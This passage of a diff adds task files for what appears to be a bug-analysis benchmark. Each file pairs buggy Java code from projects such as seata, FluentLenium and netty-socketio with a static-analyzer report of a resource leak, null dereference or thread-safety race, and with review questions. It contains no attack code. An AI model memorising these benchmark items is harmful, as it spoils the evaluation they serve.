+        if (ch.pipeline().get(SslHandler.class) != null) {
+            // Cannot use zero-copy with HTTPS.
+            writeFuture = ch.write(new ChunkedFile(raf, 0, fileLength, 8192));
+        } else {
+            // No encryption - use zero-copy.
+            final FileRegion region = new DefaultFileRegion(raf.getChannel(), 0, fileLength);
+            writeFuture = ch.write(region);
+        }
+
+        return writeFuture;
+    }
+
+    private void sendError(ChannelHandlerContext ctx, HttpResponseStatus status) {
+        HttpResponse response = new DefaultHttpResponse(HTTP_1_1, status);
+        HttpHeaders.setHeader(response, CONTENT_TYPE, "text/plain; charset=UTF-8");
+        ByteBuf content = Unpooled.copiedBuffer(
+                "Failure: " + status.toString() + "\r\n",
+                CharsetUtil.UTF_8);
+
+        ctx.channel().write(response);
+
+        // Close the connection as soon as the error message is sent.
+        ctx.channel().write(content).addListener(ChannelFutureListener.CLOSE);
+    }
+
+    /**
+     * Sets the Date and Cache headers for the HTTP Response
+     *
+     * @param response
+     *            HTTP response
+     * @param fileToCache
+     *            file to extract content type
+     */
+    private void setDateAndCacheHeaders(HttpResponse response, File fileToCache) {
+        SimpleDateFormat dateFormatter = new SimpleDateFormat(HTTP_DATE_FORMAT, Locale.US);
+        dateFormatter.setTimeZone(TimeZone.getTimeZone(HTTP_DATE_GMT_TIMEZONE));
+
+        // Date header
+        Calendar time = new GregorianCalendar();
+        HttpHeaders.setHeader(response, HttpHeaders.Names.DATE, dateFormatter.format(time.getTime()));
+
+        // Add cache headers
+        time.add(Calendar.SECOND, HTTP_CACHE_SECONDS);
+        HttpHeaders.setHeader(response, HttpHeaders.Names.EXPIRES, dateFormatter.format(time.getTime()));
+        HttpHeaders.setHeader(response, HttpHeaders.Names.CACHE_CONTROL, "private, max-age=" + HTTP_CACHE_SECONDS);
+        HttpHeaders.setHeader(response,
+                HttpHeaders.Names.LAST_MODIFIED, dateFormatter.format(new Date(fileToCache.lastModified())));
+    }
+
+    /**
+     * Sets the content type header for the HTTP Response
+     *
+     * @param response
+     *            HTTP response
+     * @param file
+     *            file to extract content type
+     */
+    private void setContentTypeHeader(HttpResponse response, File file) {
+        MimetypesFileTypeMap mimeTypesMap = new MimetypesFileTypeMap();
+        HttpHeaders.setHeader(response, HttpHeaders.Names.CONTENT_TYPE, mimeTypesMap.getContentType(file.getPath()));
+    }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+RESOURCE_LEAK
+
+### Qualifier:
+resource of type `java.io.RandomAccessFile` acquired to `raf` by call to `RandomAccessFile(...)` at line 103 is not released after line 124.
+**Note**: potential exception at line 108
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void ResourceHandler.channelRead(ChannelHandlerContext,Object)
+
+### Procedure Id:
+com.corundumstudio.socketio.handler.ResourceHandler.channelRead(io.netty.channel.ChannelHandlerConte.c74882d2c23f7da204c5f8bc016983f4
+
+### File:
+src/main/java/com/corundumstudio/socketio/handler/ResourceHandler.java
+
+### Key:
+ResourceHandler.java|channelRead|RESOURCE_LEAK
+
+### Node Key:
+95ced91ca0473a6646194f1eb482b307
+
+### Hash:
+e9807596c33965926fc91d7b48bdf166
+
+### Bug Type Hum:
+Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-5957/instruction.md b/inferredbugs-5957/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..562ca47d87dbb06dd2ee18971f2759dc52a6fca9
--- /dev/null
+++ b/inferredbugs-5957/instruction.md
@@ -0,0 +1,356 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** FluentLenium
+**Bug ID:** 11
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+package org.fluentlenium.adapter;
+
+import static org.apache.commons.lang3.StringUtils.isEmpty;
+import static org.fluentlenium.utils.ExceptionUtil.getCauseMessage;
+import static org.fluentlenium.utils.ScreenshotUtil.isIgnoredException;
+import static org.fluentlenium.utils.ThreadLocalAdapterUtil.clearThreadLocals;
+import static org.fluentlenium.utils.ThreadLocalAdapterUtil.getClassAnnotationForClass;
+import static org.fluentlenium.utils.ThreadLocalAdapterUtil.getClassFromThread;
+import static org.fluentlenium.utils.ThreadLocalAdapterUtil.getMethodAnnotationForMethod;
+import static org.fluentlenium.utils.ThreadLocalAdapterUtil.getMethodNameFromThread;
+import static org.fluentlenium.utils.ThreadLocalAdapterUtil.setTestClassAndMethodValues;
+
+import java.lang.annotation.Annotation;
+import java.util.List;
+import java.util.Optional;
+import java.util.concurrent.ExecutionException;
+
+import org.fluentlenium.adapter.SharedMutator.EffectiveParameters;
+import org.fluentlenium.adapter.sharedwebdriver.SharedWebDriver;
+import org.fluentlenium.adapter.sharedwebdriver.SharedWebDriverContainer;
+import org.openqa.selenium.WebDriverException;
+
+/**
+ * FluentLenium Test Runner Adapter.
+ * <p>
+ * Extends this class to provide FluentLenium support to your Test class.
+ */
+@SuppressWarnings("PMD.GodClass")
+public class FluentTestRunnerAdapter extends FluentAdapter implements TestRunnerAdapter {
+
+
+    private final SharedMutator sharedMutator;
+
+    private static final ThreadLocal<EffectiveParameters<?>> PARAMETERS_THREAD_LOCAL = new ThreadLocal<>();
+    private static final ThreadLocal<String> TEST_METHOD_NAME = new ThreadLocal<>();
+    private static final ThreadLocal<Class<?>> TEST_CLASS = new ThreadLocal<>();
+
+    /**
+     * Creates a new test runner adapter.
+     */
+    public FluentTestRunnerAdapter() {
+        this(new DefaultFluentControlContainer());
+    }
+
+    /**
+     * Creates a test runner adapter, with a custom driver container.
+     *
+     * @param driverContainer driver container
+     */
+    public FluentTestRunnerAdapter(FluentControlContainer driverContainer) {
+        this(driverContainer, new DefaultSharedMutator());
+    }
+
+    /**
+     * Creates a test runner adapter, with a custom shared mutator.
+     *
+     * @param sharedMutator shared mutator.
+     */
+    public FluentTestRunnerAdapter(SharedMutator sharedMutator) {
+        this(new DefaultFluentControlContainer(), sharedMutator);
+    }
+
+    /**
+     * Creates a test runner adapter, with a customer driver container and a customer shared mutator.
+     *
+     * @param driverContainer driver container
+     * @param sharedMutator   shared mutator
+     */
+    public FluentTestRunnerAdapter(FluentControlContainer driverContainer, SharedMutator sharedMutator) {
+        super(driverContainer);
+        this.sharedMutator = sharedMutator;
+    }
+
+    /**
+     * Creates a test runner adapter, with a customer driver container and a customer shared mutator.
+     * It is possible to pass class from which the FluentConfiguration annotation will be loaded.
+     *
+     * @param driverContainer driver container
+     * @param clazz           class from which FluentConfiguration annotation will be loaded
+     * @param sharedMutator   shared mutator
+     */
+    public FluentTestRunnerAdapter(FluentControlContainer driverContainer, Class<?> clazz, SharedMutator sharedMutator) {
+        super(driverContainer, clazz);
+        this.sharedMutator = sharedMutator;
+    }
+
+    @Override
+    public Class<?> getTestClass() {
+        return getClassFromThread(TEST_CLASS);
+    }
+
+    @Override
+    public String getTestMethodName() {
+       return getMethodNameFromThread(TEST_METHOD_NAME);
+    }
+
+    @Override
+    public <T extends Annotation> T getClassAnnotation(Class<T> annotation) {
+        return getClassAnnotationForClass(annotation, getClassFromThread(TEST_CLASS));
+    }
+
+    @Override
+    public <T extends Annotation> T getMethodAnnotation(Class<T> annotation) {
+        return getMethodAnnotationForMethod(
+                annotation,
+                getClassFromThread(TEST_CLASS),
+                getMethodNameFromThread(TEST_METHOD_NAME));
+    }
+
+    /**
+     * Invoked when a test method is starting.
+     */
+    protected void starting() {
+        starting(getClass());
+    }
+
+    /**
+     * Invoked when a test method is starting.
+     *
+     * @param testName Test name
+     */
+    protected void starting(String testName) {
+        starting(getClass(), testName);
+    }
+
+    /**
+     * Invoked when a test method is starting.
+     *
+     * @param testClass Test class
+     */
+    protected void starting(Class<?> testClass) {
+        starting(testClass, testClass.getName());
+    }
+
+    /**
+     * Invoked when a test method is starting.
+     *
+     * @param testClass Test class
+     * @param testName  Test name
+     */
+    protected void starting(Class<?> testClass, String testName) {
+        PARAMETERS_THREAD_LOCAL.set(sharedMutator.getEffectiveParameters(testClass, testName,
+                getDriverLifecycle()));
+
+        SharedWebDriver sharedWebDriver;
+
+        try {
+            sharedWebDriver = SharedWebDriverContainer.INSTANCE.getSharedWebDriver(
+                    PARAMETERS_THREAD_LOCAL.get(), null, this::newWebDriver, getConfiguration());
+        } catch (ExecutionException | InterruptedException e) {
+            this.failed(testClass, testName);
+
+            String causeMessage = getCauseMessage(e);
+            throw new WebDriverException("Browser failed to start, test [ " + testName + " ] execution interrupted."
+                    + (isEmpty(causeMessage) ? "" : "\nCaused by: [ " + causeMessage + "]"), e);
+        }
+
+        setTestClassAndMethodValues(PARAMETERS_THREAD_LOCAL, TEST_CLASS, TEST_METHOD_NAME);
+        initFluent(sharedWebDriver.getDriver());
+    }
+
+
+    /**
+     * Invoked when a test method has finished (whatever the success of failing status)
+     */
+    protected void finished() {
+        finished(getClass());
+    }
+
+    /**
+     * Invoked when a test method has finished (whatever the success of failing status)
+     *
+     * @param testName Test name
+     */
+    protected void finished(String testName) {
+        finished(getClass(), testName);
+    }
+
+    /**
+     * Invoked when a test method has finished (whatever the success of failing status)
+     *
+     * @param testClass Test class
+     */
+    protected void finished(Class<?> testClass) {
+        finished(testClass, testClass.getName());
+    }
+
+    /**
+     * Invoked when a test method has finished (whatever the success of failing status)
+     *
+     * @param testClass Test class
+     * @param testName  Test name
+     */
+    protected void finished(Class<?> testClass, String testName) {
+        DriverLifecycle driverLifecycle = getDriverLifecycle();
+        EffectiveParameters<?> parameters = sharedMutator.getEffectiveParameters(testClass, testName,
+                driverLifecycle);
+        SharedWebDriver sharedWebDriver = SharedWebDriverContainer.INSTANCE.getDriver(parameters);
+
+        if (driverLifecycle == DriverLifecycle.METHOD || driverLifecycle == DriverLifecycle.THREAD) {
+            Optional.ofNullable(sharedWebDriver).ifPresent(SharedWebDriverContainer.INSTANCE::quit);
+        }
+
+        if (getDeleteCookies()) {
+            Optional.ofNullable(sharedWebDriver).ifPresent(shared -> shared.getDriver().manage().deleteAllCookies());
+        }
+
+        clearThreadLocals(PARAMETERS_THREAD_LOCAL, TEST_CLASS, TEST_METHOD_NAME);
+        releaseFluent();
+    }
+
+    /**
+     * Invoked when a test method has failed (before finished)
+     */
+    protected void failed() {
+        failed(getClass());
+    }
+
+    /**
+     * Invoked when a test method has failed (before finished)
+     *
+     * @param testName Test name
+     */
+    protected void failed(String testName) {
+        failed(getClass(), testName);
+    }
+
+    /**
+     * Invoked when a test method has failed (before finished)
+     *
+     * @param testClass Test class
+     */
+    protected void failed(Class<?> testClass) {
+        failed(testClass, testClass.getName());
+    }
+
+    /**
+     * Invoked when a test method has failed (before finished)
+     *
+     * @param testClass Test class
+     * @param testName  Test name
+     */
+    protected void failed(Class<?> testClass, String testName) {
+        failed(null, testClass, testName);
+    }
+
+    /**
+     * Invoked when a test method has failed (before finished)
+     *
+     * @param e         Throwable thrown by the failing test.
+     * @param testClass Test class
+     * @param testName  Test name
+     */
+    protected void failed(Throwable e, Class<?> testClass, String testName) {
+        if (isFluentControlAvailable() && !isIgnoredException(e)) {
+            try {
+                if (getScreenshotMode() == TriggerMode.AUTOMATIC_ON_FAIL && canTakeScreenShot()) {
+                    takeScreenshot(testClass.getSimpleName() + "_" + testName + ".png");
+                }
+            } catch (Exception ignored) {
+            }
+
+            try {
+                if (getHtmlDumpMode() == TriggerMode.AUTOMATIC_ON_FAIL && getDriver() != null) {
+                    takeHtmlDump(testClass.getSimpleName() + "_" + testName + ".html");
+                }
+            } catch (Exception ignored) {
+            }
+
+        }
+    }
+
+    /**
+     * Invoked when a test class has finished (whatever the success of failing status)
+     *
+     * @param testClass test class to terminate
+     */
+    public static void classDriverCleanup(Class<?> testClass) {
+        List<SharedWebDriver> sharedWebDrivers = SharedWebDriverContainer.INSTANCE.getTestClassDrivers(testClass);
+        sharedWebDrivers.forEach(SharedWebDriverContainer.INSTANCE::quit);
+    }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object `null` could be null and is dereferenced by call to `getSharedWebDriver(...)` at line 148.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void FluentTestRunnerAdapter.starting(Class,String)
+
+### Procedure Id:
+org.fluentlenium.adapter.FluentTestRunnerAdapter.starting(java.lang.Class,java.lang.String):void.d7b5d6d64334ebb1612b40bd0e6587f7
+
+### File:
+fluentlenium-core/src/main/java/org/fluentlenium/adapter/FluentTestRunnerAdapter.java
+
+### Key:
+FluentTestRunnerAdapter.java|starting|NULL_DEREFERENCE
+
+### Node Key:
+a5d0f414f198606fc8878c54d78fbd10
+
+### Hash:
+2c99f3d8fed420a091223d6647b2330b
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-6000/instruction.md b/inferredbugs-6000/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..6849179540a727bdc3ddee61802960ca3adfd39a
--- /dev/null
+++ b/inferredbugs-6000/instruction.md
@@ -0,0 +1,141 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** seata
+**Bug ID:** 3
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ *  Copyright 1999-2018 Alibaba Group Holding Ltd.
+ *
+ *  Licensed under the Apache License, Version 2.0 (the "License");
+ *  you may not use this file except in compliance with the License.
+ *  You may obtain a copy of the License at
+ *
+ *       http://www.apache.org/licenses/LICENSE-2.0
+ *
+ *  Unless required by applicable law or agreed to in writing, software
+ *  distributed under the License is distributed on an "AS IS" BASIS,
+ *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ *  See the License for the specific language governing permissions and
+ *  limitations under the License.
+ */
+
+package com.alibaba.fescar.discovery.registry;
+
+import com.alibaba.fescar.common.exception.NotSupportYetException;
+import com.alibaba.fescar.config.ConfigType;
+import com.alibaba.fescar.config.ConfigurationFactory;
+import com.alibaba.fescar.config.ConfigurationKeys;
+
+import org.slf4j.Logger;
+import org.slf4j.LoggerFactory;
+
+/**
+ * The type Registry factory.
+ *
+ * @Author: jimin.jm @alibaba-inc.com
+ * @Project: fescar -all
+ * @DateTime: 2019 /2/1 5:57 PM
+ * @FileName: RegistryFactory
+ * @Description:
+ */
+public class RegistryFactory {
+    private static final Logger LOGGER = LoggerFactory.getLogger(RegistryFactory.class);
+
+    /**
+     * Gets instance.
+     *
+     * @return the instance
+     */
+    public static RegistryService getInstance() {
+        ConfigType configType = null;
+        try {
+            configType = ConfigType.getType(
+                ConfigurationFactory.FILE_INSTANCE.getConfig(
+                    ConfigurationKeys.FILE_ROOT_REGISTRY + ConfigurationKeys.FILE_CONFIG_SPLIT_CHAR
+                        + ConfigurationKeys.FILE_ROOT_TYPE));
+        } catch (Exception exx) {
+            LOGGER.error(exx.getMessage());
+        }
+        RegistryService registryService;
+        switch (configType) {
+            case Nacos:
+                registryService = NacosRegistryServiceImpl.getInstance();
+                break;
+            case File:
+                registryService = FileRegistryServiceImpl.getInstance();
+                break;
+            default:
+                throw new NotSupportYetException("not support register type:" + configType);
+        }
+        return registryService;
+    }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object `configType` last assigned on line 45 could be null and is dereferenced at line 55.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+RegistryService RegistryFactory.getInstance()
+
+### Procedure Id:
+com.alibaba.fescar.discovery.registry.RegistryFactory.getInstance():com.alibaba.fescar.discovery.reg.48c7d84d2f5f8c17d1b7d8f6c5582334
+
+### File:
+discovery/src/main/java/com/alibaba/fescar/discovery/registry/RegistryFactory.java
+
+### Key:
+RegistryFactory.java|getInstance|NULL_DEREFERENCE
+
+### Node Key:
+fa5f8bce86ddf7d3115742d50d599997
+
+### Hash:
+31e609a72b89fdf87514b68592ff91b4
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-6006/instruction.md b/inferredbugs-6006/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..d01860b429eaed5f0d9bb64a13c7691b743168a0
--- /dev/null
+++ b/inferredbugs-6006/instruction.md
@@ -0,0 +1,393 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** seata
+**Bug ID:** 22
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ *  Copyright 1999-2019 Seata.io Group.
+ *
+ *  Licensed under the Apache License, Version 2.0 (the "License");
+ *  you may not use this file except in compliance with the License.
+ *  You may obtain a copy of the License at
+ *
+ *       http://www.apache.org/licenses/LICENSE-2.0
+ *
+ *  Unless required by applicable law or agreed to in writing, software
+ *  distributed under the License is distributed on an "AS IS" BASIS,
+ *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ *  See the License for the specific language governing permissions and
+ *  limitations under the License.
+ */
+package io.seata.config.etcd3;
+
+import io.etcd.jetcd.ByteSequence;
+import io.etcd.jetcd.Client;
+import io.etcd.jetcd.KeyValue;
+import io.etcd.jetcd.Watch;
+import io.etcd.jetcd.kv.DeleteResponse;
+import io.etcd.jetcd.kv.GetResponse;
+import io.etcd.jetcd.kv.PutResponse;
+import io.etcd.jetcd.kv.TxnResponse;
+import io.etcd.jetcd.op.Cmp;
+import io.etcd.jetcd.op.CmpTarget;
+import io.etcd.jetcd.op.Op;
+import io.etcd.jetcd.options.PutOption;
+import io.etcd.jetcd.watch.WatchResponse;
+import io.seata.common.exception.ShouldNeverHappenException;
+import io.seata.common.thread.NamedThreadFactory;
+import io.seata.common.util.CollectionUtils;
+import io.seata.config.AbstractConfiguration;
+import io.seata.config.ConfigChangeListener;
+import io.seata.config.ConfigFuture;
+import io.seata.config.Configuration;
+import io.seata.config.ConfigurationFactory;
+import org.slf4j.Logger;
+import org.slf4j.LoggerFactory;
+
+import java.util.ArrayList;
+import java.util.List;
+import java.util.concurrent.CompletableFuture;
+import java.util.concurrent.ConcurrentHashMap;
+import java.util.concurrent.ConcurrentMap;
+import java.util.concurrent.ExecutorService;
+import java.util.concurrent.LinkedBlockingQueue;
+import java.util.concurrent.ThreadPoolExecutor;
+import java.util.concurrent.TimeUnit;
+
+import static io.netty.util.CharsetUtil.UTF_8;
+import static io.seata.config.ConfigurationKeys.FILE_CONFIG_SPLIT_CHAR;
+import static io.seata.config.ConfigurationKeys.FILE_ROOT_CONFIG;
+
+/**
+ * @author xingfudeshi@gmail.com
+ * @date 2019/05/10
+ */
+public class EtcdConfiguration extends AbstractConfiguration<ConfigChangeListener> {
+    private static final Logger LOGGER = LoggerFactory.getLogger(EtcdConfiguration.class);
+    private static volatile EtcdConfiguration instance;
+    private static volatile Client client;
+
+    private static final Configuration FILE_CONFIG = ConfigurationFactory.getInstance();
+    private static final String SERVER_ADDR_KEY = "serverAddr";
+    private static final String CONFIG_TYPE = "etcd3";
+    private static final String FILE_CONFIG_KEY_PREFIX = FILE_ROOT_CONFIG + FILE_CONFIG_SPLIT_CHAR + CONFIG_TYPE + FILE_CONFIG_SPLIT_CHAR;
+    private static final int THREAD_POOL_NUM = 1;
+    private static final int MAP_INITIAL_CAPACITY = 8;
+    private static ExecutorService etcdConfigExecutor = null;
+    private static ExecutorService etcdNotifierExecutor = null;
+    private static ConcurrentMap<String, List<ConfigChangeListener>> configListenersMap = null;
+    private static ConcurrentHashMap<String, List<ConfigChangeNotifier>> configChangeNotifiersMap = null;
+
+    private static final long VERSION_NOT_EXIST = 0;
+
+    private EtcdConfiguration() {
+    }
+
+    /**
+     * get instance
+     *
+     * @return
+     */
+    public static EtcdConfiguration getInstance() {
+        if (null == instance) {
+            synchronized (EtcdConfiguration.class) {
+                if (null == instance) {
+                    etcdConfigExecutor = new ThreadPoolExecutor(THREAD_POOL_NUM, THREAD_POOL_NUM,
+                        Integer.MAX_VALUE, TimeUnit.MILLISECONDS, new LinkedBlockingQueue<>(), new NamedThreadFactory("etcd-config-executor", THREAD_POOL_NUM));
+                    etcdNotifierExecutor = new ThreadPoolExecutor(THREAD_POOL_NUM, THREAD_POOL_NUM,
+                        Integer.MAX_VALUE, TimeUnit.MILLISECONDS, new LinkedBlockingQueue<>(), new NamedThreadFactory("etcd-config-notifier-executor", THREAD_POOL_NUM));
+                    configListenersMap = new ConcurrentHashMap<>(MAP_INITIAL_CAPACITY);
+                    configChangeNotifiersMap = new ConcurrentHashMap<>(MAP_INITIAL_CAPACITY);
+                    instance = new EtcdConfiguration();
+                }
+            }
+        }
+        return instance;
+    }
+
+
+    @Override
+    public String getTypeName() {
+        return CONFIG_TYPE;
+    }
+
+    @Override
+    public String getConfig(String dataId, String defaultValue, long timeoutMills) {
+        ConfigFuture configFuture = new ConfigFuture(dataId, defaultValue, ConfigFuture.ConfigOperation.GET, timeoutMills);
+        etcdConfigExecutor.execute(() -> {
+            complete(getClient().getKVClient().get(ByteSequence.from(dataId, UTF_8)), configFuture);
+        });
+        return (String) configFuture.get();
+    }
+
+    @Override
+    public boolean putConfig(String dataId, String content, long timeoutMills) {
+        ConfigFuture configFuture = new ConfigFuture(dataId, content, ConfigFuture.ConfigOperation.PUT, timeoutMills);
+        etcdConfigExecutor.execute(() -> {
+            complete(getClient().getKVClient().put(ByteSequence.from(dataId, UTF_8), ByteSequence.from(content, UTF_8)), configFuture);
+        });
+        return (Boolean) configFuture.get();
+    }
+
+    @Override
+    public boolean putConfigIfAbsent(String dataId, String content, long timeoutMills) {
+        ConfigFuture configFuture = new ConfigFuture(dataId, content, ConfigFuture.ConfigOperation.PUTIFABSENT, timeoutMills);
+        etcdConfigExecutor.execute(() -> {
+            //use etcd transaction to ensure the atomic operation
+            complete(client.getKVClient().txn()
+                //whether the key exists
+                .If(new Cmp(ByteSequence.from(dataId, UTF_8), Cmp.Op.EQUAL, CmpTarget.version(VERSION_NOT_EXIST)))
+                //not exist,then will create
+                .Then(Op.put(ByteSequence.from(dataId, UTF_8), ByteSequence.from(content, UTF_8), PutOption.DEFAULT))
+                .commit(), configFuture);
+        });
+        return (Boolean) configFuture.get();
+    }
+
+    @Override
+    public boolean removeConfig(String dataId, long timeoutMills) {
+        ConfigFuture configFuture = new ConfigFuture(dataId, null, ConfigFuture.ConfigOperation.REMOVE, timeoutMills);
+        etcdConfigExecutor.execute(() -> {
+            complete(getClient().getKVClient().delete(ByteSequence.from(dataId, UTF_8)), configFuture);
+        });
+        return (Boolean) configFuture.get();
+    }
+
+    @Override
+    public void addConfigListener(String dataId, ConfigChangeListener listener) {
+        configListenersMap.putIfAbsent(dataId, new ArrayList<>());
+        configChangeNotifiersMap.putIfAbsent(dataId, new ArrayList<>());
+        ConfigChangeNotifier configChangeNotifier = new ConfigChangeNotifier(dataId, listener);
+        configChangeNotifiersMap.get(dataId).add(configChangeNotifier);
+        if (null != listener.getExecutor()) {
+            listener.getExecutor().submit(configChangeNotifier);
+        } else {
+            etcdNotifierExecutor.submit(configChangeNotifier);
+        }
+    }
+
+    @Override
+    public void removeConfigListener(String dataId, ConfigChangeListener listener) {
+        List<ConfigChangeListener> configChangeListeners = getConfigListeners(dataId);
+        if (configChangeListeners == null) {
+            return;
+        }
+        List<ConfigChangeListener> newChangeListenerList = new ArrayList<>();
+        for (ConfigChangeListener changeListener : configChangeListeners) {
+            if (!changeListener.equals(listener)) {
+                newChangeListenerList.add(changeListener);
+            }
+        }
+        configListenersMap.put(dataId, newChangeListenerList);
+        if (null != listener.getExecutor()) {
+            listener.getExecutor().shutdownNow();
+        }
+        //remove and stop the configChangeNotifier
+        List<ConfigChangeNotifier> configChangeNotifiers = configChangeNotifiersMap.get(dataId);
+        List<ConfigChangeNotifier> newConfigChangeNotifiers = new ArrayList<>();
+        for (ConfigChangeNotifier configChangeNotifier : configChangeNotifiers) {
+            if (!listener.equals(configChangeNotifier.getListener())) {
+                newConfigChangeNotifiers.add(configChangeNotifier);
+            } else {
+                configChangeNotifier.stop();
+            }
+        }
+        configChangeNotifiersMap.put(dataId, newConfigChangeNotifiers);
+    }
+
+    @Override
+    public List getConfigListeners(String dataId) {
+        return configListenersMap.get(dataId);
+    }
+
+    /**
+     * get client
+     *
+     * @return client
+     */
+    private static Client getClient() {
+        if (null == client) {
+            synchronized (EtcdConfiguration.class) {
+                if (null == client) {
+                    client = Client.builder().endpoints(FILE_CONFIG.getConfig(FILE_CONFIG_KEY_PREFIX + SERVER_ADDR_KEY)).build();
+                }
+            }
+        }
+        return client;
+    }
+
+    /**
+     * complete the future
+     *
+     * @param completableFuture
+     * @param configFuture
+     * @param <T>
+     */
+    private <T> void complete(CompletableFuture<T> completableFuture, ConfigFuture configFuture) {
+        try {
+            T response = completableFuture.get();
+            if (response instanceof GetResponse) {
+                List<KeyValue> keyValues = ((GetResponse) response).getKvs();
+                if (CollectionUtils.isNotEmpty(keyValues)) {
+                    ByteSequence value = keyValues.get(0).getValue();
+                    if (null != value) {
+                        configFuture.setResult(value.toString(UTF_8));
+                    }
+                }
+            } else if (response instanceof PutResponse) {
+                configFuture.setResult(Boolean.TRUE);
+            } else if (response instanceof TxnResponse) {
+                boolean result = ((TxnResponse) response).isSucceeded();
+                //create key if file does not exist)
+                if (result) {
+                    configFuture.setResult(Boolean.TRUE);
+                }
+            } else if (response instanceof DeleteResponse) {
+                configFuture.setResult(Boolean.TRUE);
+            } else {
+                throw new ShouldNeverHappenException("unsupported response type");
+            }
+        } catch (Exception e) {
+            LOGGER.error("error occurred while completing the future{}", e.getMessage());
+        }
+    }
+
+    /**
+     * the type config change notifier
+     */
+    private static class ConfigChangeNotifier implements Runnable {
+        private final String dataId;
+        private final ConfigChangeListener listener;
+        private Watch.Watcher watcher;
+
+        ConfigChangeNotifier(String dataId, ConfigChangeListener listener) {
+            this.dataId = dataId;
+            this.listener = listener;
+        }
+
+        /**
+         * get the listener
+         *
+         * @return ConfigChangeListener
+         */
+        ConfigChangeListener getListener() {
+            return this.listener;
+        }
+
+        @Override
+        public void run() {
+            Watch watchClient = getClient().getWatchClient();
+            watcher = watchClient.watch(ByteSequence.from(dataId, UTF_8), new Watch.Listener() {
+                @Override
+                public void onNext(WatchResponse response) {
+                    notifyListeners();
+                }
+
+                @Override
+                public void onError(Throwable throwable) {
+
+                }
+
+                @Override
+                public void onCompleted() {
+
+                }
+            });
+        }
+
+        /**
+         * notify listeners
+         */
+        private void notifyListeners() {
+            try {
+                GetResponse getResponse = getClient().getKVClient().get(ByteSequence.from(dataId, UTF_8)).get();
+                List<KeyValue> keyValues = getResponse.getKvs();
+                if (CollectionUtils.isNotEmpty(keyValues)) {
+                    for (ConfigChangeListener listener : configListenersMap.get(this.dataId)) {
+                        listener.receiveConfigInfo(keyValues.get(0).getValue().toString(UTF_8));
+                    }
+                }
+            } catch (Exception e) {
+                LOGGER.error("error occurred while getting value{}", e.getMessage());
+            }
+        }
+
+
+        /**
+         * stop the notifier
+         */
+        public void stop() {
+            this.watcher.close();
+        }
+    }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+THREAD_SAFETY_VIOLATION
+
+### Qualifier:
+Read/Write race. Non-private method `io.seata.config.etcd3.EtcdConfiguration.putConfig` reads without synchronization from `etcd3.EtcdConfiguration.io.seata.config.etcd3.EtcdConfiguration.etcdConfigExecutor`. Potentially races with write in method `EtcdConfiguration.getInstance()`.
+ Reporting because another access to the same memory occurs on a background thread, although this access may not.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+boolean EtcdConfiguration.putConfig(String,String,long)
+
+### Procedure Id:
+io.seata.config.etcd3.EtcdConfiguration.putConfig(java.lang.String,java.lang.String,long):boolean.7535bbd1e429cea478db9f45ead129b0
+
+### File:
+config/seata-config-etcd3/src/main/java/io/seata/config/etcd3/EtcdConfiguration.java
+
+### Key:
+EtcdConfiguration.java|putConfig|THREAD_SAFETY_VIOLATION
+
+### Node Key:
